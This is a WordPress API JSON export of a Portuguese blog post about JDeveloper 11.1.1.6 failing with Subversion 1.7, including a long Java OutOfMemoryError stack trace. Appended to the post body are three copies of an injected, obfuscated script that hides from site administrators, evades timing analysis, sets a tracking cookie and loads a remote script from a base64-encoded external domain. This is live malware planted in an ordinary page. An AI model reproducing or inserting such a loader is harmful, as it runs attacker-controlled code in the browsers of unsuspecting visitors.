{"id":2505,"date":"2012-07-31T20:59:44","date_gmt":"2012-07-31T23:59:44","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2505"},"modified":"2025-10-26T22:35:55","modified_gmt":"2025-10-27T01:35:55","slug":"desabilitar-subversion-no-jdeveloper","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/07\/31\/desabilitar-subversion-no-jdeveloper\/","title":{"rendered":"Desabilitar Subversion no JDeveloper"},"content":{"rendered":"<p style=\"text-align: justify;\">O JDeveloper 11.1.1.6 n\u00e3o trabalha muito bem com o subversion 1.7, pois essa vers\u00e3o n\u00e3o cria uma pasta .svn para cada subpasta e fica apenas um .svn na raiz. Ao executar algumas opera\u00e7\u00f5es recebi o seguinte erro:<\/p>\n<pre>java.lang.OutOfMemoryError: Java heap space\n at java.util.Arrays.copyOf(Arrays.java:2367)\n at java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:130)\n at java.lang.AbstractStringBuilder.ensureCapacityInternal(AbstractStringBuilder.java:114)\n at java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:415)\n at java.lang.StringBuffer.append(StringBuffer.java:237)\n at org.tmatesoft.svn.core.SVNErrorMessage.getFullMessage(SVNErrorMessage.java:257)\n at org.tmatesoft.svn.core.internal.wc.SVNErrorManager.error(SVNErrorManager.java:58)\n at org.tmatesoft.svn.core.internal.wc.admin.SVNAdminAreaFactory.open(SVNAdminAreaFactory.java:163)\n at org.tmatesoft.svn.core.internal.wc.admin.SVNWCAccess.doOpen(SVNWCAccess.java:364)\n at org.tmatesoft.svn.core.internal.wc.admin.SVNWCAccess.open(SVNWCAccess.java:272)\n at org.tmatesoft.svn.core.internal.wc.admin.SVNWCAccess.open(SVNWCAccess.java:265)\n at org.tmatesoft.svn.core.internal.wc.admin.SVNWCAccess.openAnchor(SVNWCAccess.java:145)\n at org.tmatesoft.svn.core.wc.SVNStatusClient.doStatus(SVNStatusClient.java:320)\n at org.tmatesoft.svn.core.javahl.SVNClientImpl.status(SVNClientImpl.java:296)\n at org.tmatesoft.svn.core.javahl.SVNClientImpl.status(SVNClientImpl.java:278)\n at org.tigris.subversion.svnclientadapter.javahl.AbstractJhlClientAdapter.getStatus(AbstractJhlClientAdapter.java:480)\n at org.tigris.subversion.svnclientadapter.svnkit.SvnKitClientAdapter.getStatus(SvnKitClientAdapter.java:141)\n at org.tigris.subversion.svnclientadapter.javahl.AbstractJhlClientAdapter.getStatus(AbstractJhlClientAdapter.java:466)\n at oracle.jdevimpl.vcs.svn.SVNURLInfoCacheSimpleStrategy.getURLInfo(SVNURLInfoCacheSimpleStrategy.java:79)\n at oracle.jdevimpl.vcs.svn.SVNURLInfoCache.getLastChangedRevision(SVNURLInfoCache.java:69)\n at oracle.jdevimpl.vcs.svn.SVNOverlayProducer.createTooltip(SVNOverlayProducer.java:240)\n at oracle.jdevimpl.vcs.svn.SVNOverlayProducer.getDecoratedOverlay(SVNOverlayProducer.java:144)\n at oracle.jdevimpl.vcs.svn.SVNOverlayProducer.produceOverlay(SVNOverlayProducer.java:113)\n at oracle.jdeveloper.vcs.spi.VCSOverlayItemProducer.produceOverlays(VCSOverlayItemProducer.java:83)\n at oracle.jdeveloper.vcs.spi.VCSOverlayItemProducer.getOverlayItems(VCSOverlayItemProducer.java:65)\n at oracle.jdeveloper.vcs.spi.VCSNodeOverlayTracker.getCompositeElementOverlay(VCSNodeOverlayTracker.java:318)\n at oracle.jdeveloper.vcs.spi.VCSNodeOverlayTracker.getCompositeElementOverlay(VCSNodeOverlayTracker.java:359)\n at oracle.jdeveloper.vcs.spi.VCSNodeOverlayTracker.getOverlays(VCSNodeOverlayTracker.java:261)\n at oracle.ide.explorer.IconOverlayTracker.processPendingNodes(IconOverlayTracker.java:574)\n at oracle.ide.explorer.IconOverlayTracker.access$1400(IconOverlayTracker.java:69)\n at oracle.ide.explorer.IconOverlayTracker$7.run(IconOverlayTracker.java:487)\n at java.util.TimerThread.mainLoop(Timer.java:555)\n java.lang.IllegalStateException: Timer already cancelled.\n at java.util.Timer.sched(Timer.java:397)\n at java.util.Timer.schedule(Timer.java:193)\n at oracle.ide.explorer.IconOverlayTracker._scheduleUpdateTask(IconOverlayTracker.java:498)\n at oracle.ide.explorer.IconOverlayTracker.scheduleUpdateTask(IconOverlayTracker.java:449)\n at oracle.ide.explorer.IconOverlayTracker.repaintConsumerOverlays(IconOverlayTracker.java:432)\n at oracle.ide.explorer.IconOverlayTracker.access$000(IconOverlayTracker.java:69)\n at oracle.ide.explorer.IconOverlayTracker$2.stateChanged(IconOverlayTracker.java:114)\n at oracle.ide.explorer.IconOverlayTracker$NodeWatcher.setVisibleNodes(IconOverlayTracker.java:843)\n at oracle.ide.explorer.IconOverlayTracker$NodeWatcher.removeInternalListeners(IconOverlayTracker.java:860)\n at oracle.ide.explorer.IconOverlayTracker$NodeWatcher.access$2300(IconOverlayTracker.java:713)\n at oracle.ide.explorer.IconOverlayTracker$NodeWatcher$ParentListener.ancestorRemoved(IconOverlayTracker.java:919)\n at javax.swing.AncestorNotifier.fireAncestorRemoved(AncestorNotifier.java:107)\n at javax.swing.AncestorNotifier.propertyChange(AncestorNotifier.java:233)\n at java.beans.PropertyChangeSupport.fire(PropertyChangeSupport.java:335)\n at java.beans.PropertyChangeSupport.firePropertyChange(PropertyChangeSupport.java:327)\n at java.beans.PropertyChangeSupport.firePropertyChange(PropertyChangeSupport.java:263)\n at java.awt.Component.firePropertyChange(Component.java:8382)\n at javax.swing.JComponent.removeNotify(JComponent.java:4765)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at oracle.ideimpl.docking.TitledPanel.removeNotify(TitledPanel.java:267)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at java.awt.Container.removeNotify(Container.java:2800)\n at javax.swing.JComponent.removeNotify(JComponent.java:4761)\n at javax.swing.JRootPane.removeNotify(JRootPane.java:764)\n at java.awt.Container.removeNotify(Container.java:2800)\n at java.awt.Window.removeNotify(Window.java:782)\n at java.awt.Frame.removeNotify(Frame.java:1041)\n at java.awt.Window$1DisposeAction.run(Window.java:1190)\n at java.awt.Window.doDispose(Window.java:1205)\n at java.awt.Window.dispose(Window.java:1147)\n at oracle.ide.IdeMainWindow.close(IdeMainWindow.java:408)\n at oracle.ideimpl.MainWindowImpl.close(MainWindowImpl.java:605)\n at oracle.ide.IdeMainWindow$1.close(IdeMainWindow.java:327)\n at oracle.ide.cmd.ExitCommand.doit(ExitCommand.java:434)\n at oracle.ide.controller.CommandProcessor.invoke(CommandProcessor.java:317)\n at oracle.jdevimpl.merge.MergeExitCommand.doit(MergeExitCommand.java:48)\n at oracle.ide.controller.CommandProcessor.invoke(CommandProcessor.java:317)\n at oracle.ide.IdeCore.quit(IdeCore.java:786)\n at oracle.ide.Ide.quit(Ide.java:604)\n at oracle.ide.Ide.quit(Ide.java:611)\n at oracle.ideimpl.extension.preference.ConfigureExtensionCommand.doit(ConfigureExtensionCommand.java:113)\n at oracle.ide.controller.CommandProcessor.invoke(CommandProcessor.java:317)\n at oracle.ide.controller.IdeAction.performAction(IdeAction.java:556)\n at oracle.ide.controller.IdeAction.actionPerformedImpl(IdeAction.java:897)\n at oracle.ide.controller.IdeAction.actionPerformed(IdeAction.java:501)\n at javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:2018)\n at javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2341)\n at javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:402)\n at javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:259)\n at org.java.ayatana.ApplicationMenu$4.run(ApplicationMenu.java:486)\n at java.awt.event.InvocationEvent.dispatch(InvocationEvent.java:251)\n at java.awt.EventQueue.dispatchEventImpl(EventQueue.java:701)\n at java.awt.EventQueue.access$000(EventQueue.java:102)\n at java.awt.EventQueue$3.run(EventQueue.java:662)\n at java.awt.EventQueue$3.run(EventQueue.java:660)\n at java.security.AccessController.doPrivileged(Native Method)\n at java.security.ProtectionDomain$1.doIntersectionPrivilege(ProtectionDomain.java:76)\n at java.awt.EventQueue.dispatchEvent(EventQueue.java:671)\n at java.awt.EventDispatchThread.pumpOneEventForFilters(EventDispatchThread.java:244)\n at java.awt.EventDispatchThread.pumpEventsForFilter(EventDispatchThread.java:163)\n at java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:151)\n at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:147)\n at java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:139)\n at java.awt.EventDispatchThread.run(EventDispatchThread.java:97)\n<\/pre>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O JDeveloper 11.1.1.6 n\u00e3o trabalha muito bem com o subversion 1.7, pois essa vers\u00e3o n\u00e3o cria uma pasta .svn para cada subpasta e fica apenas um .svn na raiz. Ao executar algumas opera\u00e7\u00f5es recebi o seguinte erro: java.lang.OutOfMemoryError: Java heap <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/07\/31\/desabilitar-subversion-no-jdeveloper\/\">Continue lendo  <span class=\"screen-reader-text\">  Desabilitar Subversion no JDeveloper<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,8,9],"tags":[],"class_list":["post-2505","post","type-post","status-publish","format-standard","hentry","category-java","category-jdeveloper","category-oracle"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2505","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2505"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2505\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2505"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2505"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2505"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}